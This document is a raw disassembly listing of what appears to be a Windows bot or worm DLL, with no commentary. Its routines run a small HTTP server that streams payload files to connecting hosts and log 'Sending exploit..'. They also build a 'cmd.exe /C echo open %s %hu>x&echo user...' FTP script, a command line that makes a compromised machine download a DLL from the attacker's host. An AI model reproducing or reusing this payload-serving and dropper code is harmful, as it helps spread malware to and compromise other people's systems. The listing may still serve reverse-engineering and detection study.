sub_100030D9(int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,SOCKET s,LPCSTR lpFileName)

sub_100030D9	proc near		; CODE XREF: StartAddress+272p

Dest		= byte ptr -0C2Ch
var_C1C		= byte ptr -0C1Ch
var_C1B		= byte ptr -0C1Bh
var_B8D		= byte ptr -0B8Dh
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
NumberOfBytesRead= dword ptr -414h
len		= dword	ptr -410h
Dst		= byte ptr -40Ch
lDistanceToMove	= dword	ptr -0Ch
var_8		= dword	ptr -8
hObject		= dword	ptr -4
s		= dword	ptr  314h
lpFileName	= dword	ptr  318h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C2Ch
		push	edi
		mov	[ebp+len], 400h
		mov	[ebp+NumberOfBytesRead], 0
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		mov	eax, [ebp+lpFileName]
		push	eax		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jnz	short loc_10003121
		jmp	loc_10003299
; ---------------------------------------------------------------------------

loc_10003121:				; CODE XREF: sub_100030D9+41j
		push	0		; lpFileSizeHigh
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:GetFileSize	; GetFileSize
		mov	[ebp+var_8], eax

loc_10003130:				; CODE XREF: sub_100030D9+1ABj
		cmp	[ebp+var_8], 0
		jz	loc_10003289
		push	offset byte_1002C868 ; Format
		push	offset aSSendingExpl_3 ; "%s Sending exploit.."
		call	sub_10007303
		add	esp, 8
		mov	[ebp+var_C1C], 0
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_C1B]
		rep stosd
		stosw
		stosb
		call	sub_10006FA2
		push	eax
		push	offset aS_dll_4	; "%s.dll"
		push	10h		; Count
		lea	edx, [ebp+Dest]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		lea	ecx, [ebp+Dest]
		push	ecx
		xor	edx, edx
		mov	dx, hostshort
		push	edx
		push	offset Dest
		push	offset aCmd_exeCEcho_4 ; "cmd.exe /C echo open %s %hu>x&echo user"...
		push	400h		; Count
		lea	eax, [ebp+var_B8D]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		mov	[ebp+var_41C], eax
		mov	ecx, dword_10012A5C
		add	ecx, 1
		mov	dword_10012A5C,	ecx
		push	400h		; Size
		push	0		; Val
		lea	edx, [ebp+Dst]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	eax, [ebp+len]
		cmp	eax, [ebp+var_8]
		jbe	short loc_100031F8
		mov	ecx, [ebp+var_8]
		mov	[ebp+len], ecx

loc_100031F8:				; CODE XREF: sub_100030D9+114j
		xor	edx, edx
		sub	edx, [ebp+var_8]
		mov	[ebp+lDistanceToMove], edx
		push	2		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		mov	eax, [ebp+lDistanceToMove]
		push	eax		; lDistanceToMove
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:SetFilePointer	; SetFilePointer
		push	0		; lpOverlapped
		lea	edx, [ebp+NumberOfBytesRead]
		push	edx		; lpNumberOfBytesRead
		mov	eax, [ebp+len]
		push	eax		; nNumberOfBytesToRead
		lea	ecx, [ebp+Dst]
		push	ecx		; lpBuffer
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:ReadFile	; ReadFile
		push	0		; flags
		mov	eax, [ebp+len]
		push	eax		; len
		lea	ecx, [ebp+Dst]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:send	; send
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 0FFFFFFFFh
		jnz	short loc_10003278
		call	ds:WSAGetLastError	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_1000326E
		jmp	short loc_10003289
; ---------------------------------------------------------------------------

loc_1000326E:				; CODE XREF: sub_100030D9+191j
		mov	[ebp+var_418], 0

loc_10003278:				; CODE XREF: sub_100030D9+184j
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_418]
		mov	[ebp+var_8], eax
		jmp	loc_10003130
; ---------------------------------------------------------------------------

loc_10003289:				; CODE XREF: sub_100030D9+5Bj
					; sub_100030D9+193j
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	short loc_10003299
		mov	ecx, [ebp+hObject]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle

loc_10003299:				; CODE XREF: sub_100030D9+43j
					; sub_100030D9+1B4j
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_100030D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

; DWORD	__stdcall sub_1000329E(LPVOID)

sub_1000329E	proc near		; DATA XREF: sub_10007424+19CEo

var_2E88	= dword	ptr -2E88h
var_2E84	= dword	ptr -2E84h
var_2E80	= dword	ptr -2E80h
Dest		= byte ptr -2E7Ch
var_2E6C	= byte ptr -2E6Ch
var_2E6B	= byte ptr -2E6Bh
var_2DDD	= byte ptr -2DDDh
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
readfds		= fd_set ptr -2660h
var_255C	= dword	ptr -255Ch
var_2558	= dword	ptr -2558h
var_2554	= dword	ptr -2554h
argp		= dword	ptr -2458h
Str		= byte ptr -2454h
var_2354	= dword	ptr -2354h
hostshort	= word ptr -234Ch
var_214A	= byte ptr -214Ah
var_2048	= dword	ptr -2048h
Source		= dword	ptr -2044h
name		= sockaddr ptr -2040h
Dst		= byte ptr -2030h
var_1030	= dword	ptr -1030h
fd		= dword	ptr -102Ch
s		= dword	ptr -1028h
addrlen		= dword	ptr -1024h
var_1020	= dword	ptr -1020h
var_101C	= dword	ptr -101Ch
Str1		= byte ptr -1018h
addr		= sockaddr ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2E88h
		call	__alloca_probe
		push	esi
		push	edi
		mov	[ebp+argp], 1
		mov	[ebp+Source], offset dword_10012A60
		mov	esi, [ebp+arg_0]
		mov	ecx, 0C4h
		lea	edi, [ebp+var_2354]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_1030],	eax
		mov	ecx, [ebp+var_1030]
		mov	byte ptr [ecx+30Bh], 1
		mov	[ebp+name.sa_family], 2
		mov	dx, [ebp+hostshort]
		push	edx		; hostshort
		call	ds:htons	; htons
		mov	word ptr [ebp+name.sa_data], ax
		mov	dword ptr [ebp+name.sa_data+2],	0
		push	8		; Size
		push	0		; Val
		lea	eax, [ebp+name.sa_data+6]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0FFFFFFFFh
		jz	loc_100039DA
		push	10h		; namelen
		lea	ecx, [ebp+name]
		push	ecx		; name
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:bind	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_100039DA
		push	7FFFFFFFh	; backlog
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:listen	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_100039DA
		lea	ecx, [ebp+argp]
		push	ecx		; argp
		push	8004667Eh	; cmd
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:ioctlsocket	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_100039DA
		mov	[ebp+var_255C],	0
		mov	[ebp+readfds.fd_count],	0

loc_100033B1:				; CODE XREF: sub_1000329E+192j
		mov	[ebp+var_2664],	0
		jmp	short loc_100033CC
; ---------------------------------------------------------------------------

loc_100033BD:				; CODE XREF: sub_1000329E:loc_100033F1j
		mov	eax, [ebp+var_2664]
		add	eax, 1
		mov	[ebp+var_2664],	eax

loc_100033CC:				; CODE XREF: sub_1000329E+11Dj
		mov	ecx, [ebp+var_2664]
		cmp	ecx, [ebp+var_255C]
		jnb	short loc_100033F3
		mov	edx, [ebp+var_2664]
		mov	eax, [ebp+edx*4+var_2558]
		cmp	eax, [ebp+s]
		jnz	short loc_100033F1
		jmp	short loc_100033F3
; ---------------------------------------------------------------------------

loc_100033F1:				; CODE XREF: sub_1000329E+14Fj
		jmp	short loc_100033BD
; ---------------------------------------------------------------------------

loc_100033F3:				; CODE XREF: sub_1000329E+13Aj
					; sub_1000329E+151j
		mov	ecx, [ebp+var_2664]
		cmp	ecx, [ebp+var_255C]
		jnz	short loc_1000342C
		cmp	[ebp+var_255C],	40h
		jnb	short loc_1000342C
		mov	edx, [ebp+var_2664]
		mov	eax, [ebp+s]
		mov	[ebp+edx*4+var_2558], eax
		mov	ecx, [ebp+var_255C]
		add	ecx, 1
		mov	[ebp+var_255C],	ecx

loc_1000342C:				; CODE XREF: sub_1000329E+161j
					; sub_1000329E+16Aj
		xor	edx, edx
		test	edx, edx
		jnz	loc_100033B1
		mov	eax, [ebp+s]
		mov	[ebp+var_101C],	eax

loc_10003442:				; CODE XREF: sub_1000329E:loc_100039D5j
		mov	ecx, 1
		test	ecx, ecx
		jz	loc_100039DA
		mov	ecx, 41h
		lea	esi, [ebp+var_255C]
		lea	edi, [ebp+readfds]
		rep movsd
		push	0		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	edx, [ebp+readfds]
		push	edx		; readfds
		mov	eax, [ebp+var_101C]
		add	eax, 1
		push	eax		; nfds
		call	ds:select	; select
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10003489
		jmp	loc_100039DA
; ---------------------------------------------------------------------------

loc_10003489:				; CODE XREF: sub_1000329E+1E4j
		mov	[ebp+fd], 0
		jmp	short loc_100034A4
; ---------------------------------------------------------------------------

loc_10003495:				; CODE XREF: sub_1000329E+276j
					; sub_1000329E:loc_100039D0j
		mov	ecx, [ebp+fd]
		add	ecx, 1
		mov	[ebp+fd], ecx

loc_100034A4:				; CODE XREF: sub_1000329E+1F5j
		mov	edx, [ebp+fd]
		cmp	edx, [ebp+var_101C]
		ja	loc_100039D5
		lea	eax, [ebp+readfds]
		push	eax		; fd_set *
		mov	ecx, [ebp+fd]
		push	ecx		; fd
		call	__WSAFDIsSet	; __WSAFDIsSet
		test	eax, eax
		jz	loc_100039D0
		mov	edx, [ebp+fd]
		cmp	edx, [ebp+s]
		jnz	loc_100035BD
		mov	[ebp+addrlen], 10h
		lea	eax, [ebp+addrlen]
		push	eax		; addrlen
		lea	ecx, [ebp+addr]
		push	ecx		; addr
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:accept	; accept
		mov	[ebp+var_1020],	eax
		cmp	[ebp+var_1020],	0FFFFFFFFh
		jnz	short loc_10003519
		jmp	loc_10003495
; ---------------------------------------------------------------------------

loc_10003519:				; CODE XREF: sub_1000329E+274j
					; sub_1000329E+2FAj
		mov	[ebp+var_2668],	0
		jmp	short loc_10003534
; ---------------------------------------------------------------------------

loc_10003525:				; CODE XREF: sub_1000329E:loc_10003559j
		mov	eax, [ebp+var_2668]
		add	eax, 1
		mov	[ebp+var_2668],	eax

loc_10003534:				; CODE XREF: sub_1000329E+285j
		mov	ecx, [ebp+var_2668]
		cmp	ecx, [ebp+var_255C]
		jnb	short loc_1000355B
		mov	edx, [ebp+var_2668]
		mov	eax, [ebp+edx*4+var_2558]
		cmp	eax, [ebp+var_1020]
		jnz	short loc_10003559
		jmp	short loc_1000355B
; ---------------------------------------------------------------------------

loc_10003559:				; CODE XREF: sub_1000329E+2B7j
		jmp	short loc_10003525
; ---------------------------------------------------------------------------

loc_1000355B:				; CODE XREF: sub_1000329E+2A2j
					; sub_1000329E+2B9j
		mov	ecx, [ebp+var_2668]
		cmp	ecx, [ebp+var_255C]
		jnz	short loc_10003594
		cmp	[ebp+var_255C],	40h
		jnb	short loc_10003594
		mov	edx, [ebp+var_2668]
		mov	eax, [ebp+var_1020]
		mov	[ebp+edx*4+var_2558], eax
		mov	ecx, [ebp+var_255C]
		add	ecx, 1
		mov	[ebp+var_255C],	ecx

loc_10003594:				; CODE XREF: sub_1000329E+2C9j
					; sub_1000329E+2D2j
		xor	edx, edx
		test	edx, edx
		jnz	loc_10003519
		mov	eax, [ebp+var_1020]
		cmp	eax, [ebp+var_101C]
		jbe	short loc_100035B8
		mov	ecx, [ebp+var_1020]
		mov	[ebp+var_101C],	ecx

loc_100035B8:				; CODE XREF: sub_1000329E+30Cj
		jmp	loc_100039D0
; ---------------------------------------------------------------------------

loc_100035BD:				; CODE XREF: sub_1000329E+23Fj
		push	1000h		; Size
		push	0		; Val
		lea	edx, [ebp+Dst]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	1000h		; Size
		push	0		; Val
		lea	eax, [ebp+Str1]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; flags
		push	1000h		; len
		lea	ecx, [ebp+Dst]
		push	ecx		; buf
		mov	edx, [ebp+fd]
		push	edx		; s
		call	ds:recv	; recv
		test	eax, eax
		jg	loc_100036B8
		mov	eax, [ebp+fd]
		push	eax		; s
		call	ds:closesocket	; closesocket

loc_10003619:				; CODE XREF: sub_1000329E+40Fj
		mov	[ebp+var_2E80],	0
		jmp	short loc_10003634
; ---------------------------------------------------------------------------

loc_10003625:				; CODE XREF: sub_1000329E:loc_100036A4j
		mov	ecx, [ebp+var_2E80]
		add	ecx, 1
		mov	[ebp+var_2E80],	ecx

loc_10003634:				; CODE XREF: sub_1000329E+385j
		mov	edx, [ebp+var_2E80]
		cmp	edx, [ebp+var_255C]
		jnb	short loc_100036A9
		mov	eax, [ebp+var_2E80]
		mov	ecx, [ebp+eax*4+var_2558]
		cmp	ecx, [ebp+fd]
		jnz	short loc_100036A4

loc_10003657:				; CODE XREF: sub_1000329E+3F3j
		mov	edx, [ebp+var_255C]
		sub	edx, 1
		cmp	[ebp+var_2E80],	edx
		jnb	short loc_10003693
		mov	eax, [ebp+var_2E80]
		mov	ecx, [ebp+var_2E80]
		mov	edx, [ebp+ecx*4+var_2554]
		mov	[ebp+eax*4+var_2558], edx
		mov	eax, [ebp+var_2E80]
		add	eax, 1
		mov	[ebp+var_2E80],	eax
		jmp	short loc_10003657
; ---------------------------------------------------------------------------

loc_10003693:				; CODE XREF: sub_1000329E+3C8j
		mov	ecx, [ebp+var_255C]
		sub	ecx, 1
		mov	[ebp+var_255C],	ecx
		jmp	short loc_100036A9
; ---------------------------------------------------------------------------

loc_100036A4:				; CODE XREF: sub_1000329E+3B7j
		jmp	loc_10003625
; ---------------------------------------------------------------------------

loc_100036A9:				; CODE XREF: sub_1000329E+3A2j
					; sub_1000329E+404j
		xor	edx, edx
		test	edx, edx
		jnz	loc_10003619
		jmp	loc_1000393D
; ---------------------------------------------------------------------------

loc_100036B8:				; CODE XREF: sub_1000329E+368j
		push	100h		; Size
		push	0		; Val
		lea	eax, [ebp+Str]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		jmp	short loc_100036F0
; ---------------------------------------------------------------------------

loc_100036DE:				; CODE XREF: sub_1000329E:loc_10003938j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx

loc_100036F0:				; CODE XREF: sub_1000329E+43Ej
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		cmp	[ebp+var_4], eax
		jnb	loc_1000393D
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	al, [ebp+edx+Dst]
		mov	[ebp+ecx+Str1],	al
		mov	ecx, [ebp+var_4]
		movsx	edx, [ebp+ecx+Dst]
		cmp	edx, 0Ah
		jnz	loc_10003938
		push	offset SubStr	; "GET "
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_100037B7
		lea	ecx, [ebp+Str1]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		cmp	eax, 5
		jbe	short loc_100037B7
		push	offset asc_10010AC4 ; "	"
		push	offset asc_10010AC8 ; "	"
		push	offset aGet_0	; "GET "
		lea	edx, [ebp+Str1]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		push	eax		; Str
		call	ds:strtok	; strtok
		add	esp, 8
		mov	[ebp+Source], eax
		push	0FFh		; Count
		mov	eax, [ebp+Source]
		push	eax		; Source
		lea	ecx, [ebp+Str]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		jmp	loc_1000391B
; ---------------------------------------------------------------------------

loc_100037B7:				; CODE XREF: sub_1000329E+4A9j
					; sub_1000329E+4BDj
		push	offset asc_10010AD4 ; "\r\n"
		lea	edx, [ebp+Str1]
		push	edx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	loc_1000391B

loc_100037D3:				; CODE XREF: sub_1000329E+5C9j
		mov	[ebp+var_2E84],	0
		jmp	short loc_100037EE
; ---------------------------------------------------------------------------

loc_100037DF:				; CODE XREF: sub_1000329E:loc_1000385Ej
		mov	eax, [ebp+var_2E84]
		add	eax, 1
		mov	[ebp+var_2E84],	eax

loc_100037EE:				; CODE XREF: sub_1000329E+53Fj
		mov	ecx, [ebp+var_2E84]
		cmp	ecx, [ebp+var_255C]
		jnb	short loc_10003863
		mov	edx, [ebp+var_2E84]
		mov	eax, [ebp+edx*4+var_2558]
		cmp	eax, [ebp+fd]
		jnz	short loc_1000385E

loc_10003811:				; CODE XREF: sub_1000329E+5ADj
		mov	ecx, [ebp+var_255C]
		sub	ecx, 1
		cmp	[ebp+var_2E84],	ecx
		jnb	short loc_1000384D
		mov	edx, [ebp+var_2E84]
		mov	eax, [ebp+var_2E84]
		mov	ecx, [ebp+eax*4+var_2554]
		mov	[ebp+edx*4+var_2558], ecx
		mov	edx, [ebp+var_2E84]
		add	edx, 1
		mov	[ebp+var_2E84],	edx
		jmp	short loc_10003811
; ---------------------------------------------------------------------------

loc_1000384D:				; CODE XREF: sub_1000329E+582j
		mov	eax, [ebp+var_255C]
		sub	eax, 1
		mov	[ebp+var_255C],	eax
		jmp	short loc_10003863
; ---------------------------------------------------------------------------

loc_1000385E:				; CODE XREF: sub_1000329E+571j
		jmp	loc_100037DF
; ---------------------------------------------------------------------------

loc_10003863:				; CODE XREF: sub_1000329E+55Cj
					; sub_1000329E+5BEj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	loc_100037D3
		lea	edx, [ebp+Str]
		test	edx, edx
		jz	loc_1000390C
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	esi, eax
		lea	ecx, [ebp+var_214A]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		add	esi, eax
		cmp	esi, 100h
		jnb	short loc_100038FD
		mov	[ebp+var_2E88],	0
		lea	edx, [ebp+var_2E88]
		push	edx		; argp
		push	8004667Eh	; cmd
		mov	eax, [ebp+fd]
		push	eax		; s
		call	ds:ioctlsocket	; ioctlsocket
		mov	ecx, [ebp+fd]
		mov	[ebp+var_2048],	ecx
		lea	edx, [ebp+Str]
		push	edx		; Source
		sub	esp, 310h
		mov	ecx, 0C4h
		lea	esi, [ebp+var_2354]
		mov	edi, esp
		rep movsd
		call	sub_10002157
		add	esp, 314h
		jmp	short loc_1000390A
; ---------------------------------------------------------------------------

loc_100038FD:				; CODE XREF: sub_1000329E+605j
		mov	eax, [ebp+fd]
		push	eax		; s
		call	ds:closesocket	; closesocket

loc_1000390A:				; CODE XREF: sub_1000329E+65Dj
		jmp	short loc_10003919
; ---------------------------------------------------------------------------

loc_1000390C:				; CODE XREF: sub_1000329E+5D7j
		mov	ecx, [ebp+fd]
		push	ecx		; s
		call	ds:closesocket	; closesocket

loc_10003919:				; CODE XREF: sub_1000329E:loc_1000390Aj
		jmp	short loc_1000393D
; ---------------------------------------------------------------------------

loc_1000391B:				; CODE XREF: sub_1000329E+514j
					; sub_1000329E+52Fj
		push	1000h		; Size
		push	0		; Val
		lea	edx, [ebp+Str1]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+var_8], 0FFFFFFFFh

loc_10003938:				; CODE XREF: sub_1000329E+48Cj
		jmp	loc_100036DE
; ---------------------------------------------------------------------------

loc_1000393D:				; CODE XREF: sub_1000329E+415j
					; sub_1000329E+464j ...
		push	offset byte_1002C868 ; Format
		push	offset aSSendingExpl_4 ; "%s Sending exploit.."
		call	sub_10007303
		add	esp, 8
		mov	[ebp+var_2E6C],	0
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_2E6B]
		rep stosd
		stosw
		stosb
		call	sub_10006FA2
		push	eax
		push	offset aS_dll_5	; "%s.dll"
		push	10h		; Count
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		lea	ecx, [ebp+Dest]
		push	ecx
		lea	edx, [ebp+Dest]
		push	edx
		xor	eax, eax
		mov	ax, hostshort
		push	eax
		push	offset Dest
		push	offset aCmd_exeCEcho_5 ; "cmd.exe /C echo open %s %hu>x&echo user"...
		push	400h		; Count
		lea	ecx, [ebp+var_2DDD]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		mov	[ebp+var_266C],	eax
		mov	edx, dword_10012A5C
		add	edx, 1
		mov	dword_10012A5C,	edx

loc_100039D0:				; CODE XREF: sub_1000329E+22Dj
					; sub_1000329E:loc_100035B8j
		jmp	loc_10003495
; ---------------------------------------------------------------------------

loc_100039D5:				; CODE XREF: sub_1000329E+212j
		jmp	loc_10003442
; ---------------------------------------------------------------------------

loc_100039DA:				; CODE XREF: sub_1000329E+9Dj
					; sub_1000329E+BCj ...
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		push	1
		mov	ecx, [ebp+var_2354]
		push	ecx
		call	sub_1000AB26
		add	esp, 8
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
sub_1000329E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

; DWORD	__stdcall StartAddress(LPVOID)

StartAddress	proc near		; DATA XREF: sub_10002157+317o

var_1DC4	= dword	ptr -1DC4h
var_1DC0	= dword	ptr -1DC0h
Source		= byte ptr -1DBAh
var_1CBA	= byte ptr -1CBAh
s		= dword	ptr -1ABAh
var_1AB4	= byte ptr -1AB4h
var_1AA4	= byte ptr -1AA4h
var_19A4	= byte ptr -19A4h
var_1970	= dword	ptr -1970h
buf		= byte ptr -196Ch
var_96C		= byte ptr -96Ch
var_96B		= byte ptr -96Bh
var_8DD		= byte ptr -8DDh
DateStr		= byte ptr -16Ch
TimeStr		= byte ptr -124h
var_104		= dword	ptr -104h
FileName	= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1DC4h
		call	__alloca_probe
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ecx, 0C4h
		lea	edi, [ebp+var_1DC4]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_1970],	eax
		mov	ecx, [ebp+var_1970]
		mov	byte ptr [ecx+30Bh], 1
		push	0FFh		; Count
		lea	edx, [ebp+Source]
		push	edx		; Source
		lea	eax, [ebp+FileName]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	0FFh		; Count
		lea	ecx, [ebp+var_1CBA]
		push	ecx		; Source
		lea	edx, [ebp+var_1AA4]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+s]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_10003A9D
		push	31h		; Count
		push	offset aTextHtml ; "text/html"
		lea	ecx, [ebp+var_19A4]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		jmp	short loc_10003AB4
; ---------------------------------------------------------------------------

loc_10003A9D:				; CODE XREF: StartAddress+7Aj
		push	31h		; Count
		push	offset aApplicationOct ; "application/octet-stream"
		lea	edx, [ebp+var_19A4]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch

loc_10003AB4:				; CODE XREF: StartAddress+93j
		push	46h		; cchDate
		lea	eax, [ebp+DateStr]
		push	eax		; lpDateStr
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	0		; lpDate
		push	0		; dwFlags
		push	409h		; Locale
		call	ds:GetDateFormatA	; GetDateFormatA
		push	1Eh		; cchTime
		lea	ecx, [ebp+TimeStr]
		push	ecx		; lpTimeStr
		push	offset aHhMmSs	; "HH:mm:ss"
		push	0		; lpTime
		push	0		; dwFlags
		push	409h		; Locale
		call	ds:GetTimeFormatA	; GetTimeFormatA
		cmp	[ebp+var_1DC0],	0FFFFFFFFh
		jnz	short loc_10003B44
		lea	edx, [ebp+TimeStr]
		push	edx
		lea	eax, [ebp+DateStr]
		push	eax
		lea	ecx, [ebp+TimeStr]
		push	ecx
		lea	edx, [ebp+DateStr]
		push	edx
		lea	eax, [ebp+TimeStr]
		push	eax
		lea	ecx, [ebp+DateStr]
		push	ecx
		lea	edx, [ebp+var_19A4]
		push	edx
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: HTTPd\r\nCache-C"...
		push	0FFFh		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 28h
		jmp	short loc_10003B96
; ---------------------------------------------------------------------------

loc_10003B44:				; CODE XREF: StartAddress+EDj
		lea	ecx, [ebp+TimeStr]
		push	ecx
		lea	edx, [ebp+DateStr]
		push	edx
		lea	eax, [ebp+TimeStr]
		push	eax
		lea	ecx, [ebp+DateStr]
		push	ecx
		lea	edx, [ebp+TimeStr]
		push	edx
		lea	eax, [ebp+DateStr]
		push	eax
		mov	ecx, [ebp+var_1DC0]
		push	ecx
		lea	edx, [ebp+var_19A4]
		push	edx
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: HTTPd\r\nCache-C"...
		push	0FFFh		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 2Ch

loc_10003B96:				; CODE XREF: StartAddress+13Aj
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s+2]
		push	eax		; s
		call	ds:send	; send
		push	offset byte_1002C868 ; Format
		push	offset aSSendingExpl_5 ; "%s Sending exploit.."
		call	sub_10007303
		add	esp, 8
		mov	[ebp+var_96C], 0
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_96B]
		rep stosd
		stosw
		stosb
		call	sub_10006FA2
		push	eax
		push	offset aS_dll_6	; "%s.dll"
		push	10h		; Count
		lea	ecx, [ebp+var_1AB4]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		lea	edx, [ebp+var_1AB4]
		push	edx
		lea	eax, [ebp+var_1AB4]
		push	eax
		xor	ecx, ecx
		mov	cx, hostshort
		push	ecx
		push	offset Dest
		push	offset aCmd_exeCEcho_6 ; "cmd.exe /C echo open %s %hu>x&echo user"...
		push	400h		; Count
		lea	edx, [ebp+var_8DD]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		mov	[ebp+var_104], eax
		mov	eax, dword_10012A5C
		add	eax, 1
		mov	dword_10012A5C,	eax
		mov	ecx, [ebp+s]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_10003C87
		lea	edx, [ebp+FileName]
		push	edx		; lpFileName
		sub	esp, 310h
		mov	ecx, 0C4h
		lea	esi, [ebp+var_1DC4]
		mov	edi, esp
		rep movsd
		call	sub_100030D9
		add	esp, 314h
		jmp	short loc_10003CA4
; ---------------------------------------------------------------------------

loc_10003C87:				; CODE XREF: StartAddress+254j
		lea	eax, [ebp+var_1AA4]
		push	eax		; Source
		lea	ecx, [ebp+FileName]
		push	ecx		; lpFileName
		mov	edx, [ebp+s+2]
		push	edx		; s
		call	sub_100024A5
		add	esp, 0Ch

loc_10003CA4:				; CODE XREF: StartAddress+27Dj
		mov	eax, [ebp+s+2]
		push	eax		; s
		call	ds:closesocket	; closesocket
		push	1
